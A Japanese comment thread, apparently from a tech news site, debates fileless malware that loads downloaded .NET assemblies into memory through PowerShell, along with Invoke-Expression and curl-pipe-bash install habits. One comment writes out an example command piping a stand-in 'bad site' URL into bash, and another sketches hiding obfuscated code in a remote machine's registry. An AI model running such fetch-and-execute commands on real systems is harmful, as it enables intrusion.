アカウント名:
パスワード:
どういうことですかね?bash -c "echo foo" みたいな話?
PowerShellというより.NETの機能として、メモリ上の.NETモジュールのバイナリをロードできるので、それのことかな。
本体のマルウェアをネットワークからダウンロードしてメモリ上に展開し、.NETランタイムにロードすることで、ディスクに書き込まずに悪意あるプログラムを実行できる。PowerShellは.NETランタイムで動作しているので、読み込まれたモジュールを直接呼び出せる。
リンクされているMcFeeのホワイトペーパーによれば、「検知にファイルベースのアプローチをするほとんどのセキュリティソリューションは動作監視をしていたとしてもファイルレス攻撃を検知できない」とある。
これ System.Reflection.Assembly.LoadModule() [microsoft.com] ですね。.NETではバイト配列からアセンブリを読み込めるんですね。
とはいえ、本体のダウンロード、読み込みを行うPowerShellスクリプトは必要になるので、検出するのはさほど難しくない気はしますが。PowerShellは難読化しやすいとも書いてあるけど、うーん、どうかな。
マルウェアかどうか判定するのは簡単かな?すべて公開APIで可能な処理だし、「外部URLからダウンロードしたアセンブリを読み込むプログラム」というだけでマルウェア扱いはできない気がする。ダウンロード先のURLで判断するくらいだが、URLなんていくらでもばらけさせられるし、white paperにはこれを複数段階かませてるって書いてあるし、結構手ごわいのでは。
>ダウンロード先のURLで判断するくらいだがホワイトリストで対応するしかないでしょうね。開発者くらいでしょう、リストに追加する必要が生じるのは。
.NETの機能に限らず、対話的にスクリプトを実行できる機能が提供されていれば、ダウンロードしたデータがテキストかバイナリかの違いはあれど、実現はできそうなきがする(Windows上で高機能な環境としてPowershellが選ばれているってだけで)
# 昔、話題になった遠隔操作と何が違うのだろう?
Invoke-Expression(略して iex)というコマンドがあります。
chocolateyというhomebrewのパクりの出来損ないのようなユーティリティのインストールでも使われておりhttps://chocolatey.org/install [chocolatey.org]何となくニュアンスはつかめると思いますが、ネットからDLしたスクリプトをそのまま実行出来てしまうという凶悪な機能です。狂ってる。
# WIndows/Microsoftにあまり関わらない人生を送れててよかった...w
むしろその程度もできないモダンなOSって存在するの?
意味がわからん。具体的にどのOSのどのセキュリティ機構について言及してる?
ふつーにできるっていうか、*nixではその狂気がむしろ推奨されてることも有るよね?
PowerShellのは一般的に推奨されてる感は全く無いけれど(そもそも手打ちさせることが少ない)、「無暗号化httpにcurlした結果をbashにパイプするコマンドを推奨インストール手順にする」とかいう狂ったやり方は割と最近の*nuxで一般的な文化となっている印象なんだけど………?一般的じゃないけど出来なくもない、よりも、一般的な文化となっている、方が明らかにやばい。
PowerShellなんてデフォルトじゃスクリプトの実行すら許されてない。
むしろこんな凶悪な機能をブロックする程度のセキュリティとかテラバイト級のメモリの対応とかモバイルOSとの連携とか「モダンOS」の最低限の要件だと思うんだ。
Windowsは…すっかりレガシーに成り下がってしまって…
お、そうだな [qiita.com]# 散々問題視されてきた筈なのに未だにこんなTipsが世に出てくるザマでよく言えるな……## 問題視だけで脆弱性扱いにならない理由は省略。そしてそれはbashでもPSでも共通である。
> テラバイト級のメモリの対応とか
さらりとMac Proをdisってて草。さてはオメーAppleアンチだな。
Macでもようやく1T超のメモリを扱う環境が出て来たが(金さえ積めば)Linux/Winに比べてMacはX年遅れなんだよな。。ハードウェアの縛りのキツいエコシステムだから仕方ないが。。
Invoke-ExpressionなんてPowerShell上のコマンド実行できる前提の危険性アピールなんか意味ないだろ。evalとか知らないの?そんなん使わなくてもpowershel.exeから直接PowerShellコマンドを送れる。
そもそもマルウェアに実行権限握られてる時点でアウトだよ。PowerShellはマルウェアにとっても便利なツールってだけ。
>そもそもマルウェアに実行権限握られてる時点でアウトだよこれなんだよなぁ怪しいプログラムを実行してる時点で負け確
Invoke-Expression自体はネットからダウンロードしてないやんけ!Install-Packageをディスったほうがいいんじゃないでしょうか。
curl -s http://waruisite.example.com/ [example.com] | bash -s の方が近そう。
ホワイトペーパーの下記の部分が気になりますね。> 不正なコードを、OSやコモン ユーティリティに関係する> 一般的でない場所、例えばWindows レジストリ、WMIスト> ア、SQLテーブル、タスクスケジューラーなどに埋め込む
例えばLAN内のマシンA,Bに穴があって仕込みが可能として、マシンBのレジストリに難読化したデータを仕込んで、マシンAの Enter-PSSession とかでマシンBのレジストリから読み込んで実行しちゃうとか。
ある意味、ブラウザと同じ。必要なスクリプトやアセットを、いったんローカルに保存しなくてもいいでしょ(キャッシュしたりはするけど)。旧来のマルウェアは、いったんローカルディスクに保存して、それをロードするような設計のものが意外に多かった。だから、virustotal に投げてみよう、なんてことも、捕まえてしまえば簡単だった。
https://japan.zdnet.com/article/35139643/ [zdnet.com]
実はUnicodeは犯罪 [togetter.com]みたいな話だったりして。
より多くのコメントがこの議論にあるかもしれませんが、JavaScriptが有効ではない環境を使用している場合、クラシックなコメントシステム(D1)に設定を変更する必要があります。
皆さんもソースを読むときに、行と行の間を読むような気持ちで見てほしい -- あるハッカー
メモリ上にダウンロードしたコードを直接実行 (スコア:0)
どういうことですかね?
bash -c "echo foo" みたいな話?
Re:メモリ上にダウンロードしたコードを直接実行 (スコア:1)
PowerShellというより.NETの機能として、メモリ上の.NETモジュールのバイナリをロードできるので、それのことかな。
本体のマルウェアをネットワークからダウンロードしてメモリ上に展開し、.NETランタイムにロードすることで、
ディスクに書き込まずに悪意あるプログラムを実行できる。
PowerShellは.NETランタイムで動作しているので、読み込まれたモジュールを直接呼び出せる。
リンクされているMcFeeのホワイトペーパーによれば、
「検知にファイルベースのアプローチをするほとんどのセキュリティソリューションは動作監視をしていたとしてもファイルレス攻撃を検知できない」
とある。
Re:メモリ上にダウンロードしたコードを直接実行 (スコア:1)
これ System.Reflection.Assembly.LoadModule() [microsoft.com] ですね。.NETではバイト配列からアセンブリを読み込めるんですね。
とはいえ、本体のダウンロード、読み込みを行うPowerShellスクリプトは必要になるので、検出するのはさほど難しくない気はしますが。
PowerShellは難読化しやすいとも書いてあるけど、うーん、どうかな。
Re: (スコア:0)
マルウェアかどうか判定するのは簡単かな?
すべて公開APIで可能な処理だし、「外部URLからダウンロードしたアセンブリを読み込むプログラム」というだけでマルウェア扱いはできない気がする。
ダウンロード先のURLで判断するくらいだが、URLなんていくらでもばらけさせられるし、
white paperにはこれを複数段階かませてるって書いてあるし、結構手ごわいのでは。
Re: (スコア:0)
>ダウンロード先のURLで判断するくらいだが
ホワイトリストで対応するしかないでしょうね。
開発者くらいでしょう、リストに追加する必要が生じるのは。
Re: (スコア:0)
.NETの機能に限らず、対話的にスクリプトを実行できる機能が提供されていれば、
ダウンロードしたデータがテキストかバイナリかの違いはあれど、
実現はできそうなきがする(Windows上で高機能な環境として
Powershellが選ばれているってだけで)
# 昔、話題になった遠隔操作と何が違うのだろう?
Re: (スコア:0)
Invoke-Expression(略して iex)というコマンドがあります。
chocolateyというhomebrew
のパクりの出来損ないのようなユーティリティのインストールでも使われておりhttps://chocolatey.org/install [chocolatey.org]
何となくニュアンスはつかめると思いますが、ネットからDLしたスクリプトをそのまま実行出来てしまうという
凶悪な機能です。
狂ってる。
# WIndows/Microsoftにあまり関わらない人生を送れててよかった...w
Re: (スコア:0)
むしろその程度もできないモダンなOSって存在するの?
Re: (スコア:0)
Re: (スコア:0)
意味がわからん。具体的にどのOSのどのセキュリティ機構について言及してる?
Re: (スコア:0)
ふつーにできるっていうか、*nixではその狂気がむしろ推奨されてることも有るよね?
PowerShellのは一般的に推奨されてる感は全く無いけれど(そもそも手打ちさせることが少ない)、
「無暗号化httpにcurlした結果をbashにパイプするコマンドを推奨インストール手順にする」
とかいう狂ったやり方は割と最近の*nuxで一般的な文化となっている印象なんだけど………?
一般的じゃないけど出来なくもない、よりも、
一般的な文化となっている、方が明らかにやばい。
Re:メモリ上にダウンロードしたコードを直接実行 (スコア:1)
PowerShellなんてデフォルトじゃスクリプトの実行すら許されてない。
Re: (スコア:0)
むしろこんな凶悪な機能をブロックする程度のセキュリティとか
テラバイト級のメモリの対応とか
モバイルOSとの連携とか
「モダンOS」の最低限の要件だと思うんだ。
Windowsは…すっかりレガシーに成り下がってしまって…
今週のオメーが言うなツリーはここですか? (スコア:1)
お、そうだな [qiita.com]
# 散々問題視されてきた筈なのに未だにこんなTipsが世に出てくるザマでよく言えるな……
## 問題視だけで脆弱性扱いにならない理由は省略。そしてそれはbashでもPSでも共通である。
Re: (スコア:0)
> テラバイト級のメモリの対応とか
さらりとMac Proをdisってて草。さてはオメーAppleアンチだな。
Macでもようやく1T超のメモリを扱う環境が出て来たが(金さえ積めば)
Linux/Winに比べてMacはX年遅れなんだよな。。ハードウェアの縛りのキツいエコシステムだから仕方ないが。。
Re: (スコア:0)
Invoke-ExpressionなんてPowerShell上のコマンド実行できる前提の危険性アピールなんか意味ないだろ。evalとか知らないの?
そんなん使わなくてもpowershel.exeから直接PowerShellコマンドを送れる。
そもそもマルウェアに実行権限握られてる時点でアウトだよ。PowerShellはマルウェアにとっても便利なツールってだけ。
Re: (スコア:0)
>そもそもマルウェアに実行権限握られてる時点でアウトだよ
これなんだよなぁ
怪しいプログラムを実行してる時点で負け確
Re: (スコア:0)
Invoke-Expression自体はネットからダウンロードしてないやんけ!
Install-Packageをディスったほうがいいんじゃないでしょうか。
Re: (スコア:0)
curl -s http://waruisite.example.com/ [example.com] | bash -s の方が近そう。
Re: (スコア:0)
ホワイトペーパーの下記の部分が気になりますね。
> 不正なコードを、OSやコモン ユーティリティに関係する
> 一般的でない場所、例えばWindows レジストリ、WMIスト
> ア、SQLテーブル、タスクスケジューラーなどに埋め込む
例えばLAN内のマシンA,Bに穴があって仕込みが可能として、
マシンBのレジストリに難読化したデータを仕込んで、
マシンAの Enter-PSSession とかでマシンBのレジストリから
読み込んで実行しちゃうとか。
Re: (スコア:0)
ある意味、ブラウザと同じ。必要なスクリプトやアセットを、いったんローカルに保存しなくてもいいでしょ(キャッシュしたりはするけど)。
旧来のマルウェアは、いったんローカルディスクに保存して、それをロードするような設計のものが意外に多かった。
だから、virustotal に投げてみよう、なんてことも、捕まえてしまえば簡単だった。
Re: (スコア:0)
https://japan.zdnet.com/article/35139643/ [zdnet.com]
Re: (スコア:0)
実はUnicodeは犯罪 [togetter.com]みたいな話だったりして。